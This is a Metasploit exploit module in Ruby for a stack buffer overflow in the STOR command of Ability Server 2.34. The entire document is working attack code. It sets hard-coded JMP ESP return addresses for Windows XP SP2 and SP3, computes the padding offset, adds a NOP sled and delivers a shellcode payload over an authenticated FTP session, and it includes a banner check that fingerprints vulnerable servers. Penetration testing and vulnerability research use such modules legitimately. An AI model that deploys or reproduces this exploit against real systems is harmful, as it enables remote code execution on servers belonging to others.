Ability Server 2.34 STOR Command Stack Buffer Overflow

`##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = NormalRanking  
  
include Msf::Exploit::Remote::Ftp  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Ability Server 2.34 STOR Command Stack Buffer Overflow',  
'Description' => %q{  
This module exploits a stack-based buffer overflow in Ability Server 2.34.  
Ability Server fails to check input size when parsing 'STOR' and 'APPE' commands,  
which leads to a stack based buffer overflow. This plugin uses the 'STOR' command.  
  
The vulnerability has been confirmed on version 2.34 and has also been reported  
in version 2.25 and 2.32. Other versions may also be affected.  
},  
'Author' =>  
[  
'muts', #Initial discovery  
'Dark Eagle', #same as muts  
'Ekelow' #Metasploit  
],  
'License' => MSF_LICENSE,  
'References' =>  
[  
[ 'URL', '2004-1626' ],  
[ 'URL', 'http://www.exploit-db.com/exploits/588/'],  
],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'process'  
},  
'Privileged' => false,  
'Payload' =>  
{  
'Space' => 1000,  
'BadChars' => "\x00\xff"  
},  
'Platform' => 'win',  
'Targets' =>  
[  
[  
'Windows XP SP2 ENG',  
{  
#JMP ESP (MFC42.dll. Addr remains unchanged until a patched SP3)  
'Ret' => 0x73E32ECF,  
'Offset' => 966  
}  
],  
[  
'Windows XP SP3 ENG',  
{  
#JMP ESP (USER32.dll. Unchanged unpatched SP3 - fully pathced)  
'Ret' => 0x7E429353,  
'Offset' => 966  
}  
],  
],  
'DisclosureDate' => 'Oct 22 2004',  
'DefaultTarget' => 1))  
  
register_options(  
[  
Opt::RPORT(21),  
OptString.new('FTPUSER', [ true, 'Valid FTP username', 'ftp' ]),  
OptString.new('FTPPASS', [ true, 'Valid FTP password for username', 'ftp' ])  
], self.class)  
end  
  
def check  
connect  
disconnect  
if banner =~ /Ability Server 2\.34/  
return Exploit::CheckCode::Vulnerable  
else  
if banner =~ /Ability Server/  
return Exploit::CheckCode::Detected  
end  
end  
return Exploit::CheckCode::Safe  
end  
  
def exploit  
connect_login  
  
myHost = datastore['LHOST'] == '0.0.0.0' ? Rex::Socket.source_address : datastore['LHOST']  
  
# Take client ip + ftp user lengths into account for EIP offset  
padd_size = target['Offset'] + (13 - myHost.length) + (3 - datastore['FTPUSER'].length)  
junk = rand_text_alpha(padd_size)  
  
sploit = junk  
sploit << [target.ret].pack('V')  
sploit << make_nops(32)  
sploit << payload.encoded  
sploit << rand_text_alpha(sploit.length)  
  
send_cmd(['STOR', sploit], false)  
handler  
disconnect  
end  
end  
`